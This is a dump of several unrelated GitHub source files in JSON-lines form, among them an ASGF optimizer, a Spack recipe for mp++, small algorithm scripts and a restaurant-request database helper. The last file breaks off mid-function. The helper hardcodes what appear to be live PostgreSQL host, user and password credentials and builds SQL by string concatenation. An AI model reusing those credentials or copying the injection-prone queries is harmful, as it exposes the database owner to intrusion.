qtol, quad_rule\n self.L_avg, self.L_lmb = 0, L_lmb\n self.lr_min, self.lr_max = lr_min, lr_max\n self.A_grad, self.B_grad = A_grad, B_grad\n self.A_dec, self.A_inc = A_dec, A_inc\n self.B_dec, self.B_inc = B_dec, B_inc\n self.restart = restart\n self.num_res = num_res\n self.res_mlt, self.res_div = res_mlt, res_div\n self.fun_req = fun_req\n self.update_rule = update_rule\n self.xtol = xtol\n self.maxiter = maxiter\n self.record_parameters()\n if self.quad_rule == 'gh':\n self.quad = self.gh_quad\n\n def optimization_init(self, fun, x0, subname):\n '''initialize optimization variables'''\n self.fun = fun\n self.x = np.array(x0)\n self.dim = self.x.size\n self.dx = np.zeros(self.dim)\n self.df = np.zeros(self.dim)\n self.lr = 0\n self.f = self.fun(self.x)\n self.itr, self.feval = 0, 1\n self.x_min, self.f_min = self.x, self.f\n self.reset_params()\n self.s_min = self.s / 1000 if self._s_min is None else self._s_min\n self.s_max = self.s * 1000 if self._s_max is None else self._s_max\n self.s_res = self.s\n self.converged = False\n self.subname = '' if subname is None else '_' + str(subname)\n self.record_iteration(log_mode='w')\n\n def generate_directions(self, vec=None):\n '''generate search directions'''\n if vec is None:\n self.u = np.random.randn(self.dim, self.dim)\n else:\n self.u = np.concatenate((vec.reshape((-1,1)),\\\n np.random.randn(self.dim, self.dim-1)), axis=1)\n self.u /= np.linalg.norm(self.u, axis=0)\n self.u = np.linalg.qr(self.u)[0].T\n\n def reset_params(self):\n '''set parameters to their initial values'''\n self.generate_directions()\n self.s = np.sqrt(self.dim) if self.s0 is None else self.s0\n self.s_status = '*'\n self.L, self.A, self.B = 0, self.A_grad, self.B_grad\n\n def minimize(self, fun, x0, subname=None):\n '''iteratively update minimizer'''\n self.optimization_init(fun, x0, subname)\n while (self.itr < self.maxiter) and not self.converged:\n # compute gradient and update minimizer\n self.compute_df()\n self.update_x()\n self.save_state()\n # update variables\n self.itr += 1\n self.update_parameters()\n self.record_iteration()\n\n def gh_quad(self, g, s, g0, mode='adaptive'):\n '''compute derivative via adaptive Gauss-Hermite quadrature'''\n dg_quad = np.array([np.inf])\n g_vals, p_vals, feval_gh = np.array([]), np.array([]), 0\n num_pts = range(max(3, self.m_min-2), self.m_max+1, 2)\\\n if mode == 'adaptive' else [self.m_min]\n # iteratively estimate smoothed derivative\n for m in num_pts:\n p, w = np.polynomial.hermite.hermgauss(m)\n g_val = np.array([g(p_i * s) for p_i in p[p != 0]])\n feval_gh += m - 1\n g_val = np.insert(g_val, *np.where(p == 0), g0)\n g_vals = np.append(g_vals, g_val)\n p_vals = np.append(p_vals, p)\n dg_quad = np.append(dg_quad, np.sum(w * p * g_val) / (s * np.sqrt(np.pi) / 2))\n # compute relative difference for gradient estimate\n qdelta = np.abs(dg_quad[:-1] - dg_quad[-1]) / (np.abs(dg_quad[-1]) + 1e-06)\n if np.amin(qdelta) < self.qtol:\n break\n p, p_ind = np.unique(p_vals, return_index=True)\n g_val = g_vals[p_ind]\n # estimate local Lipschitz constant\n L = np.amax(np.abs(g_val[1:] - g_val[:-1]) / (p[1:] - p[:-1]) / s)\n return dg_quad[-1], feval_gh, L\n\n def compute_df(self):\n '''estimate gradient from directional derivatives'''\n mode = ['adaptive' if i==0 else None for i in range(self.dim)]\n if self.parallel:\n self.dg, feval, self.L = zip(*ray.get([self.quad_parallel.remote(\\\n lambda t : self.fun(self.x + t * self.u[d]), self.s, self.f, mode[d])\\\n for d in range(self.dim)]))\n else:\n self.dg, self.L = np.zeros(self.dim), np.zeros(self.dim)\n feval = np.zeros(self.dim, dtype=int)\n for d in range(self.dim):\n self.dg[d], feval[d], self.L[d] = self.quad(\\\n lambda t : self.fun(self.x + t * self.u[d]), self.s, self.f, mode[d])\n self.feval += np.sum(feval)\n self.df = np.matmul(self.dg, self.u)\n\n def update_x(self):\n '''update minimizer'''\n # select learning rate\n self.L_avg = self.L[0] if self.L_avg==0\\\n else (1 - self.L_lmb) * self.L[0] + self.L_lmb * self.L_avg\n self.lr = np.clip(self.s / self.L_avg, self.lr_min, self.lr_max)\n if self.update_rule == 'adam':\n # adam update\n self.mt = self.adam_beta[0] * self.mt + (1 - self.adam_beta[0]) * self.df\n self.vt = self.adam_beta[1] * self.vt + (1 - self.adam_beta[1]) * self.df**2\n mh = self.mt / (1 - self.adam_beta[0]**(self.itr + 1))\n vh = self.vt / (1 - self.adam_beta[1]**(self.itr + 1))\n self.dx = self.lr * mh / (np.sqrt(vh) + self.adam_eps)\n else:\n # gradient descent\n self.dx = self.lr * self.df\n # update minimizer\n self.x -= self.dx\n self.f = self.fun(self.x)\n self.feval += 1\n\n def save_state(self):\n '''save the best state'''\n if self.f < self.f_min:\n self.x_min = self.x.copy()\n self.f_min = self.f\n self.s_res = self.s\n\n def restart_state(self):\n '''restart from the best state'''\n self.x = self.x_min.copy()\n self.f = self.f_min\n self.s = self.s_res\n\n def update_parameters(self):\n '''update hyperparameters'''\n self.converged = np.amax(np.abs(self.dx)) < self.xtol\n flag_conv = self.s < self.s_min * self.res_mlt\n flag_div = self.s > self.s_max / self.res_div\n if self.restart and ((flag_conv and self.num_reset > 0) or flag_div):\n # reset parameters / restart state\n self.reset_params()\n self.num_res -= 1\n if self.num_res == -1 or flag_div:\n self.restart_state()\n if self.verbose > 1:\n print('iteration {:d}: resetting the parameters'.format(self.itr+1))\n else:\n # update directions and adjust smoothing parameter\n self.generate_directions(self.df)\n s_norm = np.amax(np.abs(self.dg) / self.L)\n if s_norm < self.A:\n self.s *= self.s_rate\n self.A *= self.A_dec\n self.s_status = '-'\n elif s_norm > self.B:\n self.s /= self.s_rate\n self.B *= self.B_inc\n self.s_status = '+'\n else:\n self.A *= self.A_inc\n self.B *= self.B_dec\n self.s_status = '='\n self.s = np.clip(self.s, self.s_min, self.s_max)\n\n def record_parameters(self):\n '''record hyperparameters'''\n os.makedirs('./logs/', exist_ok=True)\n json.dump(self.__dict__, open('./logs/' + self.log_name + '.json', 'w'))\n\n def record_iteration(self, log_mode='a'):\n '''record current variables'''\n with open('./logs/' + self.log_name + self.subname + '.csv', log_mode) as logfile:\n if log_mode == 'w':\n log_func = lambda x: x.replace('self.', '')\n logfile.write(','.join(map(log_func, self.log_vars)) + '\\n')\n log_func = lambda x: self.log_vars[x].format(eval(x))\n logfile.write(','.join(map(log_func, self.log_vars)) + '\\n')\n self.display_variables()\n\n def display_variables(self):\n '''display current variables'''\n if self.verbose > 0:\n print('iteration {:d}: f = {:.2e}, lr = {:.2e}, s = {:.2e} ({:s})'.\\\n format(self.itr, self.f, self.lr, self.s, self.s_status))\n if self.verbose > 1:\n print(' df_2 = {:.2e}, dx_2 = {:.2e}, dx_inf = {:.2e}'.\\\n format(np.linalg.norm(self.df), np.linalg.norm(self.dx), np.amax(np.abs(self.dx))))\n if self.verbose > 2:\n print(' x =', self.x[:10])\n print(' df =', self.df[:10])\n\n\nif __name__ == '__main__':\n\n # problem setup\n fun_name = 'ackley'\n fun_dim = 10\n fun, x_min, x_dom = target_function(fun_name, fun_dim)\n x0 = initial_guess(x_dom)\n\n # run asgf optimization\n asgf = ASGF(log_name=log_name, verbose=1, parallel=False)\n asgf.minimize(fun, x0, subname='test')\n x_opt = asgf.x_min\n itr_opt = asgf.itr\n feval_opt = asgf.feval\n\n # report results\n f_delta = np.abs((fun(x_opt) - fun(x_min)) / (fun(x0) - fun(x_min)))\n print('\\nasgf-optimization terminated after {:d} iterations and {:d} evaluations: '\\\n 'f_min = {:.2e} / {:.2e}'.format(itr_opt, feval_opt, fun(x_opt), f_delta))\n\n\n","repo_name":"sukiboo/smoothing_based_optimization","sub_path":"extra_scripts/asgf.py","file_name":"asgf.py","file_ext":"py","file_size_in_byte":9810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15449195834","text":"from spack.package import *\n\n\nclass Mppp(CMakePackage):\n \"\"\"mp++ is a C++11/14/17/20 library for multiprecision arithmetic\"\"\"\n\n # URL for package's homepage.\n homepage = \"https://bluescarni.github.io/mppp/index.html\"\n url = \"https://github.com/bluescarni/mppp/archive/refs/tags/v1.0.1.tar.gz\"\n\n # List of GitHub accounts to notify when the package is updated.\n maintainers(\"bluescarni\", \"agseaton\")\n\n # SPDX identifier of the project's license.\n license(\"MPL-2.0\")\n\n version(\"1.0.1\", sha256=\"90e8758bad2d9ebec04305d9cc394168de7bd563acc290e273dd68467e07de07\")\n version(\"1.0.0\", sha256=\"e58b1a5fb8bdf095261eeb0861c3f46f96c71c4b043d19700e73ce3e4e639268\")\n version(\"0.27\", sha256=\"a1e04f6605b3242d4361742159cf5ab273162fd7c105c2743a9bebcf44c846c3\")\n version(\"0.26\", sha256=\"4dbfa68802d9a1365eda884f085418afc147d01b7a928e8333e4dcc1c3b3ce9e\")\n version(\"0.25\", sha256=\"3e6142acd5c6d71405537311b0c800b6fa27a009a46af538ad07b7e6a115f95d\")\n version(\"0.24\", sha256=\"c84cbe38545b7f3f20688791e0a7ce4020830ed84ab6a109ab13a208745be9dc\")\n version(\"0.23\", sha256=\"76f4ee484afae4dbe00f4b0bf91063e4d5dc3eb2bbf5d34ecf174821965d5910\")\n version(\"0.22\", sha256=\"92e34a393c7b6e61daec6a26827a2b73b9b61d961ab37bcabbf051cc7ff19ad2\")\n version(\"0.21\", sha256=\"49a05fc6874a800cb42a3ac16eb46a50583f0b59d3b54008c58af766186a8c69\")\n version(\"0.20\", sha256=\"c736daeaac30e38e1c09a19d249209ad49f8ec92ab1315a8fb9a47cc1f54e607\")\n\n variant(\n \"mpfr\",\n default=True,\n description=(\n \"Enable features relying on GNU MPFR library. Used in the\"\n \" implementation of the real class and for providing \"\n \"support for the long double type in integer and \"\n \"rational\"\n ),\n )\n variant(\n \"mpc\",\n default=True,\n when=\"+mpfr\",\n description=(\n \"Enable features relying on the GNU MPC library. Used in \"\n \"the implementation of the complex class.\"\n ),\n )\n variant(\n \"quadmath\",\n default=False,\n description=(\n \"Enable features relying on the GNU quadmath library. \"\n \"Used in the implementation of the real128 and complex128\"\n \" classes.\"\n ),\n )\n variant(\n \"serialization\",\n default=False,\n when=\"@0.22:\",\n description=\"Enable support for serialization via the Boost.serialization library\",\n )\n variant(\n \"fmt\",\n default=True,\n when=\"@0.27:\",\n description=\"Enable support for formatting via the fmt library\",\n )\n variant(\"tests\", default=False, description=\"Build the test suite\")\n variant(\n \"benchmarks\",\n default=False,\n when=\"+serialization +fmt\",\n description=\"Build the benchmarking suite\",\n )\n variant(\n \"static\",\n default=False,\n description=\"build mp++ as a static library, instead of a dynamic library\",\n )\n\n # Dependencies\n depends_on(\"cmake@3.8:\", type=\"build\")\n\n # Required dependencies\n depends_on(\"gmp@5:\")\n\n # Optional dependencies\n depends_on(\"mpfr@3:\", when=\"+mpfr\")\n depends_on(\"mpc\", when=\"+mpc\")\n depends_on(\"gcc\", when=\"+quadmath\")\n depends_on(\"boost@1.69: +serialization\", when=\"+serialization\")\n depends_on(\"fmt@6.2:\", when=\"+fmt\")\n\n def cmake_args(self):\n args = [\n self.define_from_variant(\"MPPP_WITH_MPFR\", \"mpfr\"),\n self.define_from_variant(\"MPPP_WITH_MPC\", \"mpc\"),\n self.define_from_variant(\"MPPP_WITH_QUADMATH\", \"quadmath\"),\n self.define_from_variant(\"MPPP_WITH_BOOST_S11N\", \"serialization\"),\n self.define_from_variant(\"MPPP_WITH_FMT\", \"fmt\"),\n self.define_from_variant(\"MPPP_BUILD_TESTS\", \"tests\"),\n self.define_from_variant(\"MPPP_BUILD_BENCHMARKS\", \"benchmarks\"),\n self.define_from_variant(\"MPPP_BUILD_STATIC_LIBRARY\", \"static\"),\n self.define_from_variant(\"MPPP_ENABLE_IPO\", \"ipo\"),\n ]\n return args\n","repo_name":"tmadlener/spack","sub_path":"var/spack/repos/builtin/packages/mppp/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"39588701614","text":"import sys\r\ndef kadane(arr, start, finish, n):\r\n Sum = 0\r\n maxSum = -sys.maxsize-1\r\n i = None\r\n finish[0] = -1\r\n local_start = 0\r\n for i in range(n):\r\n Sum += arr[i]\r\n if(Sum<0):\r\n Sum = 0\r\n local_start = i + 1\r\n elif(Sum > maxSum):\r\n maxSum = Sum\r\n start[0] = local_start\r\n finish[0] = i \r\n if (finish[0] != -1):\r\n return maxSum\r\n maxSum = arr[0] \r\n start[0] = finish[0] = 0\r\n for i in range(1, n):\r\n if (arr[i] > maxSum):\r\n maxSum = arr[i]\r\n start[0] = finish[0] = i \r\n return maxSum \r\n\r\ndef findMaxSum(M):\r\n global ROW, COL \r\n maxSum, finalLeft = -sys.maxsize-1, None\r\n finalRight, finalTop, finalBottom = None, None, None\r\n left, right, i = None, None, None\r\n maxsum2=0\r\n temp = [None] * ROW \r\n Sum = 0\r\n start = [0] \r\n finish = [0] \r\n for left in range(COL):\r\n temp = [0] * ROW \r\n for right in range(left, COL):\r\n for i in range(ROW):\r\n temp[i] += M[i][right]\r\n Sum = kadane(temp, start, finish, ROW)\r\n if(Sum > maxSum):\r\n maxSum = Sum\r\n finalLeft = left \r\n finalRight = right \r\n finalTop = start[0] \r\n finalBottom = finish[0] \r\n \r\n for i in range(finalTop,finalBottom+1):\r\n for j in range(finalLeft,finalRight+1):\r\n #print(M[i][j])\r\n if(M[i][j]<0):\r\n pass\r\n else:\r\n maxsum2=maxsum2+abs(M[i][j]) \r\n print(maxSum)\r\n print(maxsum2)\r\n \r\nROW,COL=map(int,input().split())\r\nm=[]\r\nfor i in range(0,ROW):\r\n l=list(map(int,input().split()))\r\n m.append(l)\r\nfindMaxSum(m) \r\n\r\n","repo_name":"Manthanc007/APS-2o2o","sub_path":"arrangmental max.py","file_name":"arrangmental max.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10128660888","text":"# This file is used to configure the behavior of pytest when using the Astropy\n# test infrastructure.\ntry:\n from pytest_astropy_header.display import (PYTEST_HEADER_MODULES,\n TESTED_VERSIONS)\nexcept ImportError:\n PYTEST_HEADER_MODULES = {}\n TESTED_VERSIONS = {}\n\n# Uncomment and customize the following lines to add/remove entries from\n# the list of packages for which version numbers are displayed when running\n# the tests. Making it pass for KeyError is essential in some cases when\n# the package uses other astropy affiliated packages.\nPYTEST_HEADER_MODULES['Astropy'] = 'astropy'\nPYTEST_HEADER_MODULES['Ginga'] = 'ginga'\nPYTEST_HEADER_MODULES.pop('h5py', None)\nPYTEST_HEADER_MODULES.pop('Pandas', None)\n\n# Uncomment the following lines to display the version number of the\n# package rather than the version number of Astropy in the top line when\n# running the tests.\ntry:\n from astrowidgets import __version__ as version\nexcept ImportError:\n version = 'unknown'\nTESTED_VERSIONS['astrowidgets'] = version\n","repo_name":"astropy/astrowidgets","sub_path":"astrowidgets/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"52"} +{"seq_id":"8698522481","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 23 22:39:14 2020\n\n@author: OCAC\n\"\"\"\nus_mpg=235.215\nFuelEff_US=float(input(\"Enter Fuel Efficiency Value :\"))\nFuelEff_Can=FuelEff_US*us_mpg\n\nprint(\"The Equivalent Fuel Efficiency in Canadian Unit :\",FuelEff_Can)","repo_name":"AnkitM18-tech/Python-Introductory-Problems","sub_path":"1.Introductory/FuelEfficiency.py","file_name":"FuelEfficiency.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71151365605","text":"import random\r\nimport string\r\nfrom Domain.CardCustomer import Card\r\nfrom Domain.ValidateCard import CustomerCardValidator\r\nfrom Repository.GenericRepository import GenericFileRepository\r\n\r\n\r\nclass CardService:\r\n def __init__(self,\r\n card_repository: GenericFileRepository,\r\n card_validator: CustomerCardValidator,\r\n transaction_repository: GenericFileRepository):\r\n self.__card_repository = card_repository\r\n self.__card_validator = card_validator\r\n self.__transaction_repository = transaction_repository\r\n\r\n def add_customer_card(self,\r\n customer_card_id,\r\n customer_name,\r\n customer_first_name,\r\n customer_cnp,\r\n birth_date,\r\n registration_date,\r\n isRemoved):\r\n \"\"\"\r\n Function creates a card\r\n :param customer_card_id: int\r\n :param customer_name: string\r\n :param customer_first_name: string\r\n :param customer_cnp: int\r\n :param birth_date: string\r\n :param registration_date: string\r\n :param isRemoved: bool\r\n \"\"\"\r\n customer_card = Card(customer_card_id,\r\n customer_name,\r\n customer_first_name,\r\n customer_cnp,\r\n birth_date,\r\n registration_date,\r\n isRemoved)\r\n self.__card_validator.validate_date(birth_date)\r\n self.__card_validator.validate_date(registration_date)\r\n self.__card_repository.ensure_unique_cnp(customer_card)\r\n self.__card_validator.validate_customer_card(customer_card)\r\n self.__card_repository.create(customer_card)\r\n\r\n # READ\r\n\r\n def get_all(self):\r\n \"\"\"\r\n The functionality for getting all the object from file\r\n :return: all the object from file\r\n \"\"\"\r\n return self.__card_repository.read()\r\n\r\n # UPDATE\r\n\r\n def update_card(self, ID, name, surname, cnp, date_birth, date_registration, is_removed):\r\n \"\"\"\r\n\r\n :param ID:\r\n :param name:\r\n :param surname:\r\n :param cnp:\r\n :param date_birth:\r\n :param date_registration:\r\n :param is_removed:\r\n :return:\r\n \"\"\"\r\n new_card = Card(ID, name, surname, cnp, date_birth, date_registration, is_removed)\r\n self.__card_validator.validate_customer_card(new_card)\r\n self.__card_repository.update(new_card)\r\n\r\n # DELETE\r\n\r\n def delete_card(self, id_card):\r\n \"\"\"\r\n\r\n :param id_card:\r\n :return:\r\n \"\"\"\r\n self.__card_repository.delete(id_card)\r\n\r\n def get_list_of_customer_cards_that_match(self, string_card):\r\n \"\"\"\r\n Function finds all the cards that have the given string in them\r\n :param string_card: string\r\n :return: a list of CustomerCards objects that contain the string\r\n \"\"\"\r\n found_customer_cards = []\r\n for customer_card in self.__card_repository.read():\r\n if string_card in customer_card.get_text_format():\r\n found_customer_cards.append(customer_card)\r\n return found_customer_cards\r\n\r\n def get_all_cards(self):\r\n \"\"\"\r\n Gets all cards from repository\r\n :return: a list of CustomerCard objects\r\n \"\"\"\r\n found_cards = []\r\n for card in self.__card_repository.read():\r\n found_cards.append(card)\r\n return found_cards\r\n\r\n def search_text(self, string_cards):\r\n \"\"\"\r\n\r\n :param string_cards:\r\n :return:\r\n \"\"\"\r\n list_cards = []\r\n for cards in self.__card_repository.read():\r\n if string_cards in cards.get_text_format():\r\n list_cards.append(cards)\r\n\r\n return list_cards\r\n\r\n def populate(self):\r\n \"\"\"\r\n\r\n :return:\r\n \"\"\"\r\n letters = string.ascii_lowercase\r\n id_card = random.randint(1, 101)\r\n surname = ''.join(random.choice(letters) for i in range(10))\r\n name = ''.join(random.choice(letters) for i in range(10))\r\n cnp = random.randint(1000000000000, 7000000000000)\r\n day1 = random.randint(0, 31)\r\n month1 = random.randint(0, 12)\r\n year1 = random.randint(1950, 2000)\r\n date_birth = \"{}.{}.{}\".format(day1, month1, year1)\r\n day2 = random.randint(0, 31)\r\n month2 = random.randint(0, 12)\r\n year2 = random.randint(1950, 2000)\r\n date_registered = \"{}.{}.{}\".format(day2, month2, year2)\r\n self.add_customer_card(id_card, name, surname, cnp, date_birth, date_registered, False)\r\n\r\n def clear(self):\r\n self.__card_repository.clear()\r\n\r\n def show_card_client_desc_ord(self):\r\n list_of_customer_cards = self.__card_repository.read()\r\n max_per_id = {}\r\n for transaction in self.__transaction_repository.read():\r\n card_id_in_transaction = transaction.get_id_card()\r\n discount_for_card = transaction.get_discount()\r\n if card_id_in_transaction not in max_per_id:\r\n max_per_id[card_id_in_transaction] = 0\r\n max_per_id[card_id_in_transaction] += discount_for_card\r\n list_of_filtered_cards = []\r\n for card_d in list_of_customer_cards:\r\n if card_d.id_entity() in max_per_id:\r\n list_of_filtered_cards.append(card_d)\r\n return sorted(list_of_filtered_cards, key=lambda card: max_per_id[card.id_entity()], reverse=True)\r\n","repo_name":"Gabi240400/car-service","sub_path":"Service/ServiceCard.py","file_name":"ServiceCard.py","file_ext":"py","file_size_in_byte":5689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42435563666","text":"from itertools import accumulate\n\n\ndef prefix_sum(nums):\n N = len(nums)\n psum = [0]*(N+1)\n for i, n in enumerate(nums):\n psum[i+1] = psum[i]+n\n return psum\n\n\ndef prefix_sum_with_append(nums):\n psum = [0]\n for n in nums:\n psum.append(psum[-1]+n)\n return psum\n\n\ndef prefix_sum_with_accumulate(nums):\n return [0]+list(accumulate(nums))\n\n\npsum = prefix_sum([1, 2, 3, 4, 6, 7, 10])\nprint(psum)\nleft, right = 3, 5 # nums[3]連加至nums[5]\nprint(psum[right+1]-psum[left]) # 17\nleft, right = 0, 2 # nums[0]連加至nums[2]\nprint(psum[right+1]-psum[left]) # 6\nleft, right = 1, 1 # nums[1]\nprint(psum[right+1]-psum[left]) # 2\n","repo_name":"mocowcow/my-library","sub_path":"pattern/prefix_sum.py","file_name":"prefix_sum.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"43479350916","text":"# I'm going to use ordered tuples to represent the operations (po1, operation, po2)\n# after this I will try to implement everything in dictionaries as an actual graph.\n\n# Note since these are binary operators these 'meta graphs' are binary trees.\n# For generating any SPn you just need to go through all binary trees of size n - 1\n# And the generate the 2n permutations operation of those (Doesn't hold for non-cummutative\n# and can create duplicates.)\n\n# This is called generating topologies. We can implement it such that leaves represent\n# the nodes of a hasse and the nodes the operators.\n# This would literaly just be generating the binary trees.\n\n# The number of partial orders of size n is\n\nfrom functools import reduce\n\nCOMMUTATIVE = 'commutative'\nSERIES = 's'\nPARALLEL = 'p'\nNODE = 'n'\nOPERATORS = [[SERIES], [PARALLEL, COMMUTATIVE]]\n\n# Dynamic programming memo\nMEMO = {}\n\n#pylint: disable = w0622, c0103\nclass frozenset(frozenset):\n '''Check normal frozenset. This just makes it look like any old set.\n Nothing to see here. Move along.'''\n def __repr__(self):\n return '{{{}}}'.format(', '.join(map(repr, self)))\n\ndef combine(SPn1_Collection, SPn2_Collection):\n operations = frozenset()\n for operator in OPERATORS:\n #Duplicate code her for time / memory reasons\n if COMMUTATIVE in operator:\n operations = operations.union(frozenset(frozenset([SPn1, operator[0], SPn2])\n for SPn1 in SPn1_Collection\n for SPn2 in SPn2_Collection))\n else:\n operations = operations.union(frozenset((SPn1, operator[0], SPn2)\n for SPn1 in SPn1_Collection\n for SPn2 in SPn2_Collection))\n return operations\n\ndef SPn(size):\n if size == 1:\n return set(NODE)\n elif not size in MEMO:\n combinations = map(lambda i: combine(SPn(i), SPn(size - i)), range(1, size))\n MEMO[size] = reduce(lambda x, y: x.union(y), combinations)\n return MEMO[size]\n\n# Since I'm using the same base node value and the sets are not unique\n# some look smaller because the second occurence of n in SPn(2) is not there.\n# Think of {n, s} as {n, s, n}\nprint(*list(SPn(4)), sep='\\n')","repo_name":"JorikSchellekens/POSets","sub_path":"SP.py","file_name":"SP.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72580108645","text":"#!/usr/bin/env python\n\"\"\"This is users.py.py\"\"\"\n# -----------------------------------------------------------------------\n# requests.py\n# Piers Ozuah\n# -----------------------------------------------------------------------\n\nfrom datetime import date\nimport sys\nfrom os import name\nfrom sys import argv, stderr\nfrom socket import socket, SOL_SOCKET, SO_REUSEADDR\n\nfrom pickle import dump\nfrom pickle import load\n\nfrom contextlib import closing\n# from sqlite3 import DataError, DatabaseError\n# from sqlite3 import connect\nfrom psycopg2 import connect, DatabaseError\nimport psycopg2\nimport restaurant\nimport argparse\nfrom add_restaurant import add_restaurant\n# loading\n\n\nfrom restaurant import restaurant\n\n\n# -----------------------------------------------------------------------\n# Old Database -> for the original reg\n#DATABASE_URL = 'file:reg.sqlite?mode=ro'\n\n# New database for restaurants\nDATABASE_URL = 'file:trentoneats.sql?mode=ro'\n# -----------------------------------------------------------------------\n\n\ndef delete_request(request_id):\n \"\"\"delete a restaurant from the requests table\"\"\"\n try:\n # with connect(host='localhost', port=5432, user='rmd', password='xxx',\n # database=\"trentoneats\") as connection:\n with connect(host='ec2-3-229-161-70.compute-1.amazonaws.com', port=5432, user='jazlvqafdamomp', password='6bc2f9e25e0ab4a2e167d5aed92096137eaacd1667e2863a6659e019dbb7e81a',\n database=\"dequ5ope4nuoit\") as connection:\n\n with closing(connection.cursor()) as cursor:\n # This needs to be adjusted\n stmt_str = \"DELETE FROM requests \"\n stmt_str += \"WHERE request_id =\" + request_id + \";\"\n\n print(stmt_str)\n cursor.execute(stmt_str, [request_id])\n\n except DatabaseError as error:\n print(sys.argv[0] + \": \" + str(error), file=stderr)\n return (\"stdservererr\")\n\n\ndef delete_request_add_res(request_id):\n \"\"\"find all information on one restaurant\"\"\"\n try:\n # with connect(host='localhost', port=5432, user='rmd', password='xxx',\n # database=\"trentoneats\") as connection:\n with connect(host='ec2-3-229-161-70.compute-1.amazonaws.com', port=5432, user='jazlvqafdamomp', password='6bc2f9e25e0ab4a2e167d5aed92096137eaacd1667e2863a6659e019dbb7e81a',\n database=\"dequ5ope4nuoit\") as connection:\n\n with closing(connection.cursor()) as cursor:\n # This needs to be adjusted\n\n stmt_str = \"SELECT name, address, hours, open_closed, menu, \"\n stmt_str += \"media, tags, review_count, stars, image, \"\n stmt_str += \"price, cuisine, type FROM requests \"\n stmt_str += \"WHERE request_id = '\" + request_id + \"'; \"\n\n cursor.execute(stmt_str)\n print(stmt_str)\n row = cursor.fetchone()\n\n # hashmap to hold object info\n info_obj = {}\n\n # This will parse through the row and occupy the hashmap\n if row is not None:\n info_obj['name'] = str(row[0])\n info_obj['address'] = str(row[1])\n info_obj['hours'] = str(row[2])\n info_obj['open_closed'] = str(row[3])\n info_obj['menu'] = str(row[4])\n info_obj['media'] = str(row[5])\n info_obj['tags'] = str(row[6])\n info_obj['review_count'] = str(row[7])\n info_obj['stars'] = str(row[8])\n info_obj['image'] = str(row[9])\n info_obj['price'] = str(row[10])\n info_obj['cuisine'] = str(row[11])\n info_obj['type'] = str(row[12])\n\n print(info_obj['name'])\n print(info_obj['address'])\n print(info_obj['hours'])\n print(info_obj['open_closed'])\n print(info_obj['menu'])\n print(info_obj['media'])\n print(info_obj['tags'])\n print(info_obj['review_count'])\n print(info_obj['stars'])\n print(info_obj['image'])\n print(info_obj['price'])\n print(info_obj['cuisine'])\n print(info_obj['type'])\n\n name = info_obj['name']\n address = info_obj['address']\n hours = info_obj['hours']\n open_closed = info_obj['open_closed']\n menu = info_obj['menu']\n media = info_obj['media']\n tags = info_obj['tags']\n review_count = info_obj['review_count']\n stars = info_obj['stars']\n image = info_obj['image']\n cuisine = info_obj['cuisine']\n type = info_obj['type']\n price = info_obj['price']\n\n add_restaurant(name, address, hours, menu, media,\n tags, cuisine, type, price, image)\n\n # stmt_str2 = \"\"\"\n # INSERT INTO restaurants (name, address, hours,\n # open_closed, menu, media, tags, review_count, stars, image, cuisine, type, price)\n # VALUES ( '\"\"\"\n # stmt_str2 += info_obj['name'] + \\\n # \"','\" + info_obj['address'] + \"','\"\n # stmt_str2 += info_obj['hours'] + \\\n # \"', 'TRUE', '\" + info_obj['menu'] + \"', '\"\n # stmt_str2 += info_obj['media'] + \"', '\" + \\\n # info_obj['tags'] + \"', '0', '0', '\"\n # stmt_str2 += info_obj['image'] + \"', \"\n # stmt_str2 += \"'\" + str(info_obj['cuisine'])\n # stmt_str2 += \"', '\" + info_obj['type']\n # stmt_str2 += \"', '\" + info_obj['price'] + \"');\"\n\n # print(stmt_str2)\n # cursor.execute(stmt_str2)\n\n stmt_str3 = \"DELETE FROM requests \"\n stmt_str3 += \"WHERE request_id =\" + request_id + \";\"\n\n print(stmt_str3)\n cursor.execute(stmt_str3)\n\n # Normally exit status 0.\n # If database-related error, terminate with exit status 1.\n # If erroneous command-line arguments terminate with exit status 2\n\n except DatabaseError as error:\n print(sys.argv[0] + \": \" + str(error), file=stderr)\n return (\"stdservererr\")\n","repo_name":"stephendongg/trentoneats","sub_path":"requestshelper.py","file_name":"requestshelper.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"5731121699","text":"import sys\ninput = sys.stdin.readline\n\ndef reverse_row(rows, cols):\n for row in range(rows//2):\n for col in range(cols):\n array[rows-(row+1)][col], array[row][col] = array[row][col], array[rows-(row+1)][col]\n\ndef reverse_col(rows, cols):\n for row in range(rows):\n for col in range(cols//2):\n array[row][cols-(col+1)], array[row][col] = array[row][col], array[row][cols-(col+1)]\n\ndef rotate_array(rows, cols):\n max_depth = min(rows//2, cols//2)\n rotated_array = [[0 for _ in range(rows)] for _ in range(cols)]\n\n if rows == cols:\n rotated_array[rows//2][cols//2] = array[rows//2][cols//2]\n\n for depth in range(max_depth):\n # top -> right\n for col in range(depth, cols-depth):\n rotated_array[col][rows-(depth+1)] = array[depth][col]\n\n # right -> bottom\n for row in range(depth, rows-depth):\n rotated_array[cols-(depth+1)][row] = array[rows-(row+1)][cols-(depth+1)]\n\n # bottom -> left\n for col in range(depth, cols-depth):\n rotated_array[cols-(col+1)][depth] = array[rows-(depth+1)][cols-(col+1)]\n\n # left -> top\n for row in range(depth, rows-depth):\n rotated_array[depth][rows-(row+1)] = 